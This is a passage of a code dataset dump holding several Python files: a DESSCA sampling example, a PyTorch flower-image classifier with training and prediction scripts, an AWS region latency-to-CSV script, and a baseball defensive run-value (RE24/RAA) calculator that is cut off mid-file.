0]])\n\nmy_dessca_instance0.update_coverage_pdf(data=np.transpose(samples_2d))\nmy_dessca_instance0.plot_scatter()\n\n# And a corresponding coverage heatmap\n\nmy_dessca_instance0.plot_heatmap()\n\n# The coverage pdf is now updated with the given distribution.\n# DESSCA can now suggest where to place the next sample.\n\nnext_sample_suggest = my_dessca_instance0.sample_optimally()\nprint(next_sample_suggest)\n\n# As was to be expected, the suggestion is in the upper right corner of the state space.\n# Update the coverage density and view the new distribution:\n\nmy_dessca_instance0.update_coverage_pdf(data=np.transpose([next_sample_suggest]))\nmy_dessca_instance0.plot_scatter()\n\n# Let's have a look at the density:\n\nmy_dessca_instance0.plot_heatmap()\n\n# The scatter plots can also be rendered in an online fashion (100 samples):\n\nmy_dessca_instance1 = dessca_model(box_constraints=[[-1, 1],\n [-1, 1]],\n state_names=[\"x1\", \"x2\"],\n bandwidth=0.1,\n render_online=True)\n\nnext_sample_suggest = my_dessca_instance1.update_and_sample()\nfor _ in range(100):\n next_sample_suggest = my_dessca_instance1.update_and_sample(np.transpose([next_sample_suggest]))\n\n# Further, we can parametrize a memory buffer to only memorize a limited number of past samples:\n\nmy_dessca_instance2 = dessca_model(box_constraints=[[-1, 1],\n [-1, 1]],\n state_names=[\"x1\", \"x2\"],\n bandwidth=0.1,\n render_online=True,\n buffer_size=25)\n\nnext_sample_suggest = my_dessca_instance2.update_and_sample()\nfor _ in range(100):\n next_sample_suggest = my_dessca_instance2.update_and_sample(np.transpose([next_sample_suggest]))\n\n# See how forgetting past samples leads to a group of samples in a similar area?\n# Lastly, we can also choose to use a specific reference coverage density:\n\ndef reference_coverage(X):\n # for uniform distribution on a given shape the value range of the reference coverage is not important\n x0 = X[0]\n x1 = X[1]\n return np.less(x0**2 + x1**2, 1).astype(float)\n\nmy_dessca_instance3 = dessca_model(box_constraints=[[-1, 1],\n [-1, 1]],\n state_names=[\"x1\", \"x2\"],\n bandwidth=0.1,\n render_online=True,\n reference_pdf=reference_coverage)\n\nnext_sample_suggest = my_dessca_instance3.update_and_sample()\nfor _ in range(100):\n next_sample_suggest = my_dessca_instance3.update_and_sample(np.transpose([next_sample_suggest]))\n", "id": "11040600", "language": "Python", "matching_score": 2.5991525650024414, "max_stars_count": 5, "path": "DESSCA_minimal_example.py" } ]
4.193459
atranvan
[ { "content": "import torch, torchvision\nfrom torch import nn, optim\nimport torch.nn.functional as F\nfrom torchvision import datasets, transforms, models\nfrom collections import OrderedDict\nfrom PIL import Image\nimport numpy as np\nimport argparse\nimport json\n\ndef get_train_args():\n \"\"\"\n Parses command line arguments\n Output : parse_args structure \n \"\"\"\n parser = argparse.ArgumentParser(description=\"arguments for neural network training\")\n\n # data directory\n parser.add_argument('data_dir', type = str, action='store', help = 'Data directory')\n \n # directory to save checkpoint\n parser.add_argument('--save_dir', default = '.', type = str, action='store', help = 'Define directory where to save checkpoints')\n \n # network architecture\n parser.add_argument('--arch', type = str, default='vgg16', action='store', help='Choose network architecture, default : vgg16')\n \n # model hyperparameters\n parser.add_argument('--learning_rate', default=0.001, type=float, action='store', help='learning rate, default : 0.001' )\n parser.add_argument('--hidden_units', nargs='+', default=[1024, 256], type=int, help='hidden layer sizes for 3 layer model, default : 1024, 512')\n parser.add_argument('--epochs', default=10, type=int, action='store', help='number of training epochs, default : 10')\n \n # use GPU\n parser.add_argument('--gpu', action='store_true', default=False, help='use GPU processing')\n \n args = parser.parse_args()\n return args\n\ndef get_pred_args():\n \"\"\"\n Parses command line arguments\n Output : parse_args structure \n \"\"\"\n parser = argparse.ArgumentParser(description=\"arguments for classifier predictions\")\n \n parser.add_argument('image', action='store')\n parser.add_argument('checkpoint', action='store')\n \n # return top classes\n parser.add_argument('--top_k', action='store', type=int, default=5)\n \n # category mapping\n parser.add_argument('--category_names', action='store', default='cat_to_name.json')\n \n # use GPU\n parser.add_argument('--gpu', action='store_true', default=False, help='use GPU processing')\n \n args = parser.parse_args()\n return args\n\n\ndef load(data_dir):\n train_dir = data_dir + '/train'\n valid_dir = data_dir + '/valid'\n test_dir = data_dir + '/test'\n \n \n data_transforms = {'training' : transforms.Compose([transforms.RandomRotation(30),\n transforms.RandomResizedCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406],\n [0.229, 0.224, 0.225])]),\n 'validation' : transforms.Compose([transforms.Resize(255),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406],\n [0.229, 0.224, 0.225])]),\n 'testing' : transforms.Compose([transforms.Resize(255),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406],\n [0.229, 0.224, 0.225])])\n }\n \n image_datasets = {'train_data' : datasets.ImageFolder(train_dir, transform = data_transforms['training']),\n 'valid_data': datasets.ImageFolder(valid_dir, transform = data_transforms['validation']),\n 'test_data': datasets.ImageFolder(test_dir, transform = data_transforms['testing'])\n } \n \n dataloaders = {'train_loaders' : torch.utils.data.DataLoader(image_datasets['train_data'], batch_size=64, shuffle=True),\n 'valid_loaders': torch.utils.data.DataLoader(image_datasets['valid_data'], batch_size=64),\n 'test_loaders': torch.utils.data.DataLoader(image_datasets['test_data'], batch_size=64)\n }\n \n# label mapping\n with open(\"cat_to_name.json\", \"r\") as f:\n cat_to_name = json.load(f)\n \n return data_transforms, image_datasets, dataloaders, cat_to_name\n\ndef process_image(image):\n ''' Scales, crops, and normalizes a PIL image for a PyTorch model,\n returns an Numpy array\n '''\n \n # TODO: Process a PIL image for use in a PyTorch model\n pil_image = Image.open(image)\n \n # resize\n w, h = pil_image.size\n \n if w>h:\n h = 256\n w = int(w*256/h)\n else:\n w = 256\n h = int(h*256/w)\n pil_image = pil_image.resize((w,h))\n \n # crop\n cropsize = 224\n l = (w-cropsize)/2\n t = (h-cropsize)/2\n r = l + cropsize\n b = t + cropsize\n pil_image = pil_image.crop((l, t, r, b))\n \n # color channels and normalize\n np_image = np.array(pil_image)\n np_image = np_image/255\n mean = np.array([0.485, 0.456, 0.406])\n std = np.array([0.229, 0.224, 0.225])\n np_image = (np_image - mean) / std\n np_image = np_image.transpose((2, 0, 1))\n return torch.from_numpy(np_image)", "id": "8238636", "language": "Python", "matching_score": 2.9010424613952637, "max_stars_count": 0, "path": "util_fn.py" }, { "content": "import torch, torchvision\nfrom torch import nn, optim\nfrom torchvision import datasets, transforms, models\n\nimport util_fn as hfn\nimport model_fn as modfn\n\ndef main():\n# Predict flower name from an image along with the probability of that name\n# Basic usage: python predict.py flowers/test/43/image_02365.jpg checkpoint.pth\n# --top_k Top K most likely classes\n# --category_names use mapping of category names (json file)\n# --gpu use GPU for inference\n\n # parse arguments\n args = hfn.get_pred_args()\n\n device = (\"cuda\" if ((args.gpu) and (torch.cuda.is_available())) else \"cpu\")\n \n # load checkpoint\n model = modfn.load_checkpoint(args.checkpoint)\n \n # load and process image\n image = hfn.process_image(args.image)\n\n # prediction\n probabilities, classes = modfn.predict(image, model, device, topk=args.top_k)\n \n # print results\n print(f'The top {args.top_k} probabilities are: {list(probabilities)}')\n if args.category_names:\n import json\n with open(args.category_names, 'r') as f:\n cat_to_name = json.load(f)\n class_names = [cat_to_name[item] for item in classes]\n print(f'The top {args.top_k} classes are: {list(class_names)}')\n else:\n print(f'The top {args.top_k} classes are: {list(classes)}')\n \n \n\nif __name__ == '__main__':\n main()", "id": "364361", "language": "Python", "matching_score": 1.796575903892517, "max_stars_count": 0, "path": "predict.py" }, { "content": "# import libraries\nimport torch\nfrom torch import nn\nfrom torch import optim\nfrom torchvision import datasets, transforms, models\nimport util_fn as hfn\nimport model_fn as modfn\nimport os\n\ndef main():\n# Prints out training loss, validation loss, and validation accuracy as the network trains\n# Basic usage: python train.py data_directory \n# --save_dir directory to save checkpoints\n# --arch \"vgg13\" choose architecture\n# --learning_rate 0.01 --hidden_units 512 --epochs 20 hyperparameters\n# --gpu use gpu\n\n \n \n # get arguments from command line\n args = hfn.get_train_args()\n device = (\"cuda\" if ((args.gpu) & (torch.cuda.is_available())) else \"cpu\")\n\n # load data\n data_transforms, image_datasets, dataloaders, cat_to_name = hfn.load(args.data_dir)\n \n # define model\n model, criterion, optimizer, input_features = modfn.mkmodel(arch = args.arch, hidden_layers = args.hidden_units, device = device, learning_rate = args.learning_rate)\n \n # train model\n model = modfn.train(dataloaders, args.epochs, model, criterion, optimizer, device)\n \n # save checkpoint\n filename = os.path.join(args.save_dir, 'checkpoint.pth')\n modfn.save_checkpoint(model, optimizer, image_datasets, input_features, args.learning_rate, args.epochs, filename)\n\nif __name__ == '__main__':\n main()", "id": "5080484", "language": "Python", "matching_score": 3.064011812210083, "max_stars_count": 0, "path": "train.py" }, { "content": "import torch\nfrom torch import nn, optim\nfrom torchvision import models\nimport numpy as np\n\ndef mkmodel(arch = 'vgg16', hidden_layers = [1024, 256], device = 'cpu', learning_rate = 0.001):\n \n models_dict = {'vgg13': models.vgg13, 'vgg16': models.vgg16, 'vgg19': models.vgg19, 'densenet121': models.densenet121, 'densenet169' : models.densenet169}\n if arch not in models_dict.keys():\n print('not a supported model')\n return None\n else: \n model = models_dict[arch](pretrained = True)\n if arch.startswith('vgg'):\n input_features = 25088\n elif arch.startswith('densenet'):\n input_features = 1024 \n \n # Freeze weights of feature extractor.\n for param in model.parameters():\n param.requires_grad = False \n \n # define classifier\n clf = nn.Sequential(nn.Linear(input_features, hidden_layers[0]),\n nn.ReLU(),\n nn.Dropout(0.5),\n nn.Linear(hidden_layers[0], hidden_layers[1]),\n nn.ReLU(),\n nn.Dropout(0.2),\n nn.Linear(hidden_layers[1], 102),\n nn.LogSoftmax(dim=1))\n \n\n \n model.classifier = clf\n criterion = nn.NLLLoss()\n optimizer = optim.Adam(model.classifier.parameters(), lr=learning_rate )\n model.to(device)\n return model, criterion, optimizer, input_features\n\ndef train(loaders, epochs, model, criterion, optimizer, device):\n running_loss = 0\n steps = 0\n print_every = 40\n\n for epoch in range(epochs):\n for inputs, labels in loaders['train_loaders']:\n steps += 1\n inputs, labels = inputs.to(device), labels.to(device)\n optimizer.zero_grad()\n logps = model.forward(inputs)\n train_loss = criterion(logps, labels)\n train_loss.backward()\n optimizer.step()\n running_loss += train_loss.item()\n if steps % print_every == 0:\n model.eval()\n val_loss = 0\n accuracy = 0\n with torch.no_grad():\n for inputs, labels in loaders['valid_loaders']:\n inputs, labels = inputs.to(device), labels.to(device)\n logps = model.forward(inputs)\n batch_loss = criterion(logps, labels)\n\n val_loss += batch_loss.item()\n\n # Calculate accuracy\n ps = torch.exp(logps)\n top_p, top_class = ps.topk(1, dim=1)\n equals = top_class == labels.view(*top_class.shape)\n accuracy += torch.mean(equals.type(torch.FloatTensor)).item()\n\n print(f\"Epoch {epoch+1}/{epochs}.. \"\n f\"Train loss: {running_loss/print_every:.3f}.. \"\n f\"Validation loss: {val_loss/len(loaders['valid_loaders']):.3f}.. \"\n f\"Validation accuracy: {accuracy/len(loaders['valid_loaders']):.3f}\")\n running_loss = 0\n model.train()\n return model\n\n\ndef predict(image, model, device, topk=5):\n ''' Predict the class (or classes) of an image using a trained deep learning model.\n '''\n\n if device == 'cpu': \n torch_im = image.type(torch.FloatTensor).unsqueeze_(0)\n else:\n torch_im = image.type(torch.cuda.FloatTensor).unsqueeze_(0)\n model.to(device)\n \n torch_im.to(device)\n \n model.eval()\n model.to(device)\n with torch.no_grad():\n logps = model.forward(torch_im)\n ps = torch.exp(logps)\n \n top_p, top_class = ps.topk(topk, dim=1)\n top_p = top_p.tolist()[0]\n top_class = top_class.tolist()[0]\n# top_p, top_class = np.array(top_p.to(device)[0]), np.array(top_class.to(device)[0])\n d_idxtoclass = {val: key for key, val in model.class_to_idx.items()}\n top_classes = [d_idxtoclass[i] for i in top_class]\n return top_p, top_classes\n\ndef save_checkpoint(model, optimizer, datasets, input_features, learning_rate, epochs, filename):\n model.class_to_idx = datasets['train_data'].class_to_idx\n\n checkpoint = {\n 'model': model,\n 'input_size': input_features,\n 'output_size': 102,\n 'learning_rate': learning_rate,\n 'classifier': model.classifier,\n 'class_to_idx': model.class_to_idx,\n 'epochs': epochs,\n 'state_dict': model.state_dict(),\n 'optimizer': optimizer.state_dict()\n }\n\n torch.save(checkpoint, filename)\n \ndef load_checkpoint(path):\n checkpoint = torch.load(path)\n model = checkpoint['model']\n model.classifier = checkpoint['classifier']\n model.load_state_dict(checkpoint['state_dict'])\n model.optimizer = checkpoint['optimizer']\n model.learning_rate = checkpoint['learning_rate']\n model.epochs = checkpoint['epochs']\n model.class_to_idx = checkpoint['class_to_idx'] \n return model\n\n\n\n", "id": "3068101", "language": "Python", "matching_score": 2.7011094093322754, "max_stars_count": 0, "path": "model_fn.py" } ]
2.801076
naderalfares
[ { "content": "import requests\nimport json\nimport sys\n\n\n\nif __name__ == \"__main__\":\n\n\ttry:\n\t\tREGIONS_NAMES = json.load(open(\"regions.json\", \"r\"))\n\n\texcept Exception as e:\n\t\tprint(e)\n\n\tURL = \"https://api.cloudping.co/averages\"\n\tr = requests.get(URL)\n\tregions = []\n\tb_selected = False\n\n\n\tfor reg in r.json():\n\t\tregions.append(reg[\"region\"])\t\n\n\tif len(sys.argv) == 1:\n\t\tselected_regions = regions\n\telif len(sys.argv) == 2 and sys.argv[1] == \"-s\":\n\t\tselected_regions = list(REGIONS_NAMES.keys())\n\t\tprint(\">>\", selected_regions)\n\t\tb_selected = True\n\telse:\n\t\tprint(\"Usage: python3 \" + sys.argv[0] + \"[-s]\\n\\t-s: selected regions\")\n\t\tsys.exit(1)\n\n\twith open(\"latencies.csv\", \"w\") as fd:\n\t\tfor region in regions:\n\t\t\tif region not in selected_regions:\n\t\t\t\tcontinue\n\t\t\tif b_selected:\n\t\t\t\tfd.write(\",\" + REGIONS_NAMES[region])\n\t\t\telse:\n\t\t\t\tfd.write(\",\" + region)\n\t\tfd.write(\"\\n\")\n\n\t\tfor index1, reg in enumerate(r.json()):\n\t\t\tif reg[\"region\"] not in selected_regions:\n\t\t\t\tcontinue\n\t\t\tassert(reg[\"region\"] == regions[index1])\n\t\t\tif b_selected:\n\t\t\t\tfd.write(REGIONS_NAMES[regions[index1]])\n\t\t\telse:\n\t\t\t\tfd.write(regions[index1])\n\t\t\tfor index2 , avg in enumerate(reg[\"averages\"]):\n\t\t\t\tif avg[\"regionTo\"] not in selected_regions:\n\t\t\t\t\tcontinue\n\t\t\t\tassert(avg[\"regionTo\"] == regions[index2])\n\t\t\t\tfd.write(\",\" + str(int(avg[\"average\"])))\n\t\t\tfd.write(\"\\n\")\n\t\t\t\t\t\n\n\n\t\t \n\n\t \n", "id": "12831330", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "scripts/python3/latencies_to_csv.py" } ]
0
donnyrichardson
[ { "content": "import csv\r\nimport datetime as dt\r\nimport os\r\nimport string\r\nimport eventlist as el\r\nimport statistics as stat\r\nimport time\r\n\r\npnset = [['',0]]\r\n\r\nclass league(object):\r\n def __init__(self, pdb):\r\n self.pdb = pdb\r\n self.idists = []\r\n self.odists = []\r\n self.iangs = []\r\n self.oangs = []\r\n self.ispeeds = []\r\n self.ospeeds = []\r\n for lplay in pdb:\r\n if not lplay.pball.dist == 'null':\r\n if lplay.outfield:\r\n self.odists.append(lplay.pball.dist)\r\n else:\r\n self.idists.append(lplay.pball.dist)\r\n if not lplay.pball.angle == 'null':\r\n if lplay.outfield:\r\n self.oangs.append(lplay.pball.angle)\r\n else:\r\n self.iangs.append(lplay.pball.angle)\r\n if not lplay.pball.speed == 'null':\r\n if lplay.outfield:\r\n self.ospeeds.append(lplay.pball.speed)\r\n else:\r\n self.ispeeds.append(lplay.pball.speed)\r\n self.odistsd = stat.pstdev(self.odists)\r\n self.oangsd = stat.pstdev(self.oangs)\r\n self.ospeedsd = stat.pstdev(self.ospeeds)\r\n self.idistsd = stat.pstdev(self.idists)\r\n self.iangsd = stat.pstdev(self.iangs)\r\n self.ispeedsd = stat.pstdev(self.ispeeds)\r\n def write(self):\r\n filename = \"D:\\mlb data\\League\\MLB_Play_Data.csv\"\r\n teamfile = open(filename, 'w', newline='')\r\n teamcsv = csv.writer(teamfile)\r\n teamcsv.writerow(['date','fielder','prebase','preout','postbase','postout','runs','RE24', 'Avg RE24','RAA', 'dist','angle', 'speed','loc','btype'])\r\n # ['Fielder','PreBase','PostBase','Runs Scored','Distance','Angle','Speed','Location','Event','Team','PostOut','PreOut','Date'])\r\n\r\n for row in self.pdb:\r\n teamcsv.writerow(row.playcsv())\r\n teamfile.close()\r\n \r\n\r\nclass play(object):\r\n def __init__(self, fielder, loc, prebase, postbase, runs, dist, angle, speed, date, team, bevent, batter, postout,preout, bbtype, beventtype):\r\n self.fielder = fielder\r\n self.prebase = prebase\r\n self.postbase = postbase\r\n self.runs = int(runs)\r\n self.pball = ball(dist, angle, speed, loc, bbtype)\r\n self.outfield = self.pball.loc in [7,8,9]\r\n self.team = team\r\n self.bevent = bevent\r\n self.postout = int(postout)\r\n if self.postout > 3: self.postout = 3\r\n self.preout = int(preout)\r\n if self.preout == 3: self.preout = 2\r\n self.date = date\r\n self.beventtype = beventtype\r\n self.RE24 = self.RE24Gen()\r\n def playcsv(self):\r\n return [self.date,self.fielder,self.prebase,self.preout,self.postbase,self.postout,self.runs,self.RE24, self.simballs, self.avgRE, self.RAA, self.pball.dist,self.pball.angle, self.pball.speed,self.pball.loc,self.pball.btype]\r\n #[self.fielder, self.prebase, self.postbase, self.runs, self.pball.dist, self.pball.angle, self.pball.speed, self.pball.loc, self.bevent, self.team, self.postout, self.preout, self.date]\r\n def RE24Gen(self):\r\n for item in el.runchart:\r\n if item[0] == self.prebase:\r\n startstate = item[1][self.preout]\r\n if self.postout == 3:\r\n endstate = 0\r\n else:\r\n for item in el.runchart:\r\n if item[0] == self.postbase:\r\n endstate = item[1][self.postout]\r\n re = startstate - endstate - self.runs\r\n return re\r\n def RAAgen(self):\r\n global mlb\r\n resum = 0\r\n recnt = 0\r\n for p in mlb.pdb:\r\n if not self.pball.bclass == p.pball.bclass or not self.outfield == p.outfield:\r\n continue\r\n if self.pball.bclass == p.pball.bclass == 1 and self.outfield and p.outfield:\r\n similar = (abs(self.pball.dist - p.pball.dist) < mlb.odistsd) and (abs(self.pball.angle - p.pball.angle) < mlb.oangsd) and (abs(self.pball.speed - p.pball.speed) < mlb.ospeedsd)\r\n elif self.pball.bclass == p.pball.bclass == 1 and not self.outfield and not p.outfield :\r\n similar = (abs(self.pball.dist - p.pball.dist) < mlb.idistsd) and (abs(self.pball.angle - p.pball.angle) < mlb.iangsd) and (abs(self.pball.speed - p.pball.speed) < mlb.ispeedsd)\r\n if self.pball.bclass == p.pball.bclass == 2 and self.outfield and p.outfield:\r\n similar = (self.pball.loc == p.pball.loc) and (abs(self.pball.angle - p.pball.angle) < mlb.oangsd) and (abs(self.pball.speed - p.pball.speed) < mlb.ospeedsd)\r\n elif self.pball.bclass == p.pball.bclass == 2 and not self.outfield and not p.outfield:\r\n similar = (self.pball.loc == p.pball.loc) and (abs(self.pball.angle - p.pball.angle) < mlb.iangsd) and (abs(self.pball.speed - p.pball.speed) < mlb.ispeedsd)\r\n if self.pball.bclass == p.pball.bclass == 3:\r\n similar = (self.pball.loc == p.pball.loc) and (self.pball.btype == p.pball.btype) \r\n similar = similar and self.prebase == p.prebase and self.preout == p.preout\r\n if similar:\r\n resum += p.RE24\r\n recnt += 1\r\n self.simballs = recnt\r\n self.avgRE = resum / recnt\r\n self.RAA = self.RE24 - self.avgRE\r\n \r\n\r\nclass team(object):\r\n def __init__(self, name, plays, league):\r\n self.name = name\r\n self.plays = plays\r\n self.league = league\r\n def write(self):\r\n filename = \"D:\\mlb data\\Team\\{}_Play_Data.csv\".format(self.name)\r\n teamfile = open(filename, 'w', newline='')\r\n teamcsv = csv.writer(teamfile)\r\n teamcsv.writerow(['date','fielder','prebase','preout','postbase','postout','runs','RE24','Similar Balls','Avg RE24', 'RAA', 'dist','angle', 'speed','loc','btype'])\r\n # ['Fielder','PreBase','PostBase','Runs Scored','Distance','Angle','Speed','Location','Event','Team','PostOut','PreOut','Date'])\r\n for row in self.plays:\r\n teamcsv.writerow(row.playcsv())\r\n teamfile.close()\r\n\r\nclass player(object):\r\n def __init__(self, name, team, plays, idcount = 1):\r\n self.name = name\r\n self.team = team\r\n self.plays = plays\r\n self.idcount = idcount\r\n self.playerid = self.playeridgen()\r\n loc = self.plays[0].pball.loc\r\n if loc == 1: self.position = 'P'\r\n elif loc == 2: self.position = 'C'\r\n elif loc == 3: self.position = '1B'\r\n elif loc == 4: self.position = '2B'\r\n elif loc == 5: self.position = '3B'\r\n elif loc == 6: self.position = 'SS'\r\n elif loc == 7: self.position = 'LF'\r\n elif loc == 8: self.position = 'CF'\r\n elif loc == 9: self.position = 'RF'\r\n else: self.position = 'OF'\r\n\r\n def playeridgen(self):\r\n first, last = self.name.split()\r\n pid = \"{}{}00{}\".format(last[:3], first[:2],self.idcount)\r\n return pid\r\n def write(self):\r\n filename = \"D:\\mlb data\\Players\\{}_Play_Data.csv\".format(self.playerid)\r\n playerfile = open(filename, 'w', newline='')\r\n playercsv = csv.writer(playerfile)\r\n playercsv.writerow(['date','fielder','prebase','preout','postbase','postout','runs','RE24','Avg RE24', 'RAA', 'dist','angle', 'speed','loc','btype'])\r\n for row in self.plays:\r\n playercsv.writerow(row.playcsv())\r\n playerfile.close()\r\n def total(self, file, idx, avgWins):\r\n totalcsv = file\r\n if idx == 0:\r\n totalcsv.writerow(['Fielder', 'Pos', 'Team', 'Play Total', 'Total RE24', 'Total RAA', 'defWins', 'dWAA'])\r\n totalcsv.writerow(self.totalcalc(avgWins))\r\n def totalcalc(self, avg):\r\n self.totalRE24 = 0\r\n self.totalRAA = 0\r\n for p in self.plays:\r\n self.totalRE24 += p.RE24\r\n self.totalRAA += p.RAA\r\n self.defWins = self.totalRAA / el.rpw\r\n self.dWAA = self.defWins - avg\r\n return [self.name, self.position, self.team, len(self.plays),round(self.totalRE24,3), round(self.totalRAA, 3), round(self.defWins,3), round(self.dWAA, 3)]\r\n \r\n \r\n \r\n\r\nclass ball(object):\r\n def __init__(self, dist, angle, speed, loc, btype):\r\n self.dist = dist\r\n self.angle = angle\r\n self.speed = speed\r\n self.loc = loc\r\n self.btype = btype\r\n if self.dist == 'null':\r\n if self.angle == 'null':\r\n self.bclass = 3\r\n else:\r\n self.bclass = 2\r\n self.angle = 90 - float(self.angle)\r\n self.speed = float(self.speed)\r\n else:\r\n self.bclass = 1\r\n self.angle = float(90 - float(self.angle))\r\n self.dist = float(self.dist)\r\n self.speed = float(self.speed)\r\n\r\n\r\n\r\ndef teamdbcreator(leagueplays):\r\n teamdb = []\r\n for teamname in el.teamlist:\r\n teamplays = []\r\n for play in leagueplays:\r\n if teamname == play.team:\r\n teamplays.append(play)\r\n teamobj = team(teamname, teamplays, leagueplays)\r\n teamdb.append(teamobj)\r\n return teamdb\r\n\r\ndef playerdbcreator(team):\r\n playerlist = set()\r\n playerdb = []\r\n playlist = []\r\n for teamplay in team.plays:\r\n playerlist.add(teamplay.fielder)\r\n #playerlist.remove('')\r\n for name in playerlist:\r\n playlist = []\r\n for playerplay in team.plays:\r\n if name == playerplay.fielder:\r\n playlist.append(playerplay)\r\n pid = idcntgen(team.league, name, team.name)\r\n playerobj = player(name, team, playlist, pid)\r\n playerdb.append(playerobj)\r\n return playerdb\r\n \r\ndef idcntgen(plays, name, team):\r\n global pnset\r\n for idx, item in enumerate(pnset):\r\n if name == item[0]:\r\n pnset[idx][1] += 1\r\n return item[1] + 1\r\n pnset.append([name,1])\r\n return 1\r\n \r\n \r\n \r\n## teamlist = [team]\r\n## for play in plays:\r\n## if name == play.fielder and not play.team in teamlist:\r\n## teamlist.append(play.team)\r\n## idcnt += 1\r\n## return idcnt\r\n return idcnt \r\n\r\ndef PlayCreator(data):\r\n date = DateCreator(data[2])\r\n des = data[16]\r\n home = data[20]\r\n away = data[21]\r\n loc = int(data[23])\r\n prebase = BaseCreator(data[34], data[33], data[32])\r\n inntype = data[37]\r\n dist = data[53]\r\n speed = data[54]\r\n angle = data[55]\r\n## print(data[9])\r\n bevent = BEventCreator(data[9])\r\n beventtype = data[9]\r\n preout = data[35]\r\n bbtype, loc = bbtypegen(int(data[24]), des, loc)\r\n if inntype == 'bot':\r\n team = away\r\n else: team = home\r\n batter, fielder, postout, postbase, runs = DesScraper(des, prebase, preout, bevent)\r\n return(play(fielder, loc, prebase, postbase, runs, dist, angle, speed, date, team, bevent, batter, postout, preout,bbtype,beventtype))\r\n\r\ndef bbtypegen(bb, des, loc):\r\n if bb == 0:\r\n bb = bbgen(des)\r\n loc = posgen(des)\r\n if bb == 1:\r\n btype = 'fly ball'\r\n elif bb == 2:\r\n btype = 'pop fly'\r\n elif bb == 3:\r\n btype = 'line drive'\r\n elif bb == 4:\r\n btype = 'ground ball'\r\n else:\r\n btype = 'dummy'\r\n return btype, loc\r\n\r\ndef bbgen(des):\r\n if 'ground' in des:\r\n bbtype = 4\r\n elif 'line' in des:\r\n bbtype = 3\r\n elif 'pop' in des:\r\n bbtype = 2\r\n elif 'fly' in des or 'flies' in des:\r\n bbtype = 1\r\n else:\r\n bbtype = 4\r\n return bbtype\r\n\r\ndef posgen(des):\r\n for idx, word in enumerate(des.split()):\r\n if word in ['baseman', 'fielder']:\r\n posword = des.split()[idx-1]\r\n if posword == 'first':\r\n return 3\r\n elif posword == 'second':\r\n return 4\r\n elif posword == 'third':\r\n return 5\r\n elif posword == 'left':\r\n return 7\r\n elif posword == 'right':\r\n return 9\r\n elif posword == 'center':\r\n return 8\r\n else:\r\n print(posword)\r\n x = input()\r\n elif word == 'catcher':\r\n return 2\r\n elif word == 'pitcher':\r\n return 1\r\n elif word == 'shortstop':\r\n return 6\r\n\r\ndef DateCreator(date):\r\n try:\r\n if '/' in date:\r\n date = date.split('/')\r\n r = 1\r\n elif '-' in date:\r\n date = date.split('-')\r\n r = 2\r\n for idx, item in enumerate(date):\r\n date[idx] = int(item)\r\n if r == 1:\r\n return dt.date(date[2],date[0], date[1])\r\n else:\r\n return dt.date(date[0],date[1],date[2])\r\n except:\r\n print(date)\r\n x = input()\r\n \r\n\r\n\r\n\r\n\r\n \r\ndef BaseCreator(first, second, third):\r\n base = [0,0,0]\r\n for idx, runner in enumerate([first, second, third]):\r\n if runner == 'null':\r\n base[idx]=0\r\n else:\r\n base[idx]=1\r\n return base\r\n\r\ndef DesScraper(des, prebase, out, bevent):\r\n## try:\r\n deslist = []\r\n for idx, item in enumerate(des.strip().split(sep='.')):\r\n if not item == '':\r\n deslist.append(item.strip())\r\n bf = deslist[0].split()\r\n batter = \"{} {}\".format(bf[0], bf[1])\r\n fielder = ''\r\n #print(bf)\r\n for idx, word in enumerate(des.split()):\r\n if word in ['baseman', 'fielder', 'catcher', 'pitcher', 'shortstop']:\r\n## print(bf)\r\n## print(idx)\r\n fielder = \"{} {}\".format(des.split()[idx + 1], des.split()[idx+2])\r\n if fielder[-1] in string.punctuation:\r\n fielder = fielder[:-1]\r\n break\r\n postbase, postout, runs = PostBaseCreator(deslist[1:], out, prebase, batter, bevent)\r\n if fielder == '':\r\n print(deslist)\r\n fielder = '{} {}'.format(deslist[-1].split()[-2],deslist[-1].split()[-1])\r\n print(fielder)\r\n x=input()\r\n return batter, fielder, postout, postbase, runs\r\n## except:\r\n## print(des)\r\n## print(bf)\r\n## print(batter)\r\n## print(fielder)\r\n## print(idx)\r\n## print(deslist)\r\n## x = input()\r\n\r\ndef PostBaseCreator(play, out, prebase, batter,bevent):\r\n out = int(out)\r\n br = sum(prebase)\r\n## print(bevent)\r\n bbase, bout = bevent\r\n runs = 0\r\n brs = 0\r\n nout = bout + out\r\n nbase = [0,0,0]\r\n nbase[bbase] = 1\r\n if nout == 3:\r\n return nbase, nout, runs\r\n for event in play:\r\n words = event.split(sep=' ')\r\n if 'score' in event:\r\n runs += 1\r\n elif 'out' in event:\r\n nout += 1\r\n if nout + out > 2: break\r\n elif 'error' in event:\r\n runner = \"{} {}\".format(words[0], words[1])\r\n if runner == batter or runner == \"advances to\":\r\n extrabase = True\r\n else:\r\n extrabase = False\r\n if '2nd' in event:\r\n nbase[1]=1\r\n if extrabase: bbase = 1\r\n elif '3rd' in event:\r\n nbase[2]=1\r\n if extrabase: bbase = 2\r\n elif '2nd' in event:\r\n nbase[1] = 1\r\n elif '3rd' in event:\r\n nbase[2] = 1\r\n if bbase >= 0:\r\n nbase[bbase] = 1\r\n return nbase, nout, runs\r\n \r\n \r\ndef BEventCreator(event):\r\n for play in el.eventlist:\r\n if event == play[0]:\r\n bevent = (play[1], play[2])\r\n return bevent\r\n\r\ndef GetData():\r\n league = open(\"D:\\mlb data\\League\\league_data.csv\")\r\n leaguecsv = csv.reader(league)\r\n rawplays = []\r\n plays = []\r\n header = 0\r\n for row in leaguecsv:\r\n if header == 0:\r\n header = 1\r\n continue\r\n rawplay = row\r\n rawplays.append(rawplay)\r\n for rplay in rawplays:\r\n if rplay[9].lower() in ['home run','catcher interference','fan interference','batter interference']: continue\r\n if 'ground-rule double' in rplay[16].lower() or 'hit by batted ball' in rplay[16].lower(): continue\r\n \r\n play = PlayCreator(rplay)\r\n plays.append(play)\r\n return plays\r\n \r\n \r\n \r\nmlb = league(GetData())\r\n\r\nteamdb = teamdbcreator(mlb.pdb)\r\n\r\nplayerdb = []\r\n\r\nprint(\"Calculating RAA....\")\r\n\r\nstarttime = time.time()\r\n\r\nRAAsum = 0\r\n\r\nfor idx, pl in enumerate(mlb.pdb):\r\n pl.RAAgen()\r\n RAAsum += pl.RAA\r\n if idx > 1:\r\n if idx == 1000:\r\n endtime = time.time() - starttime\r\n timeper = 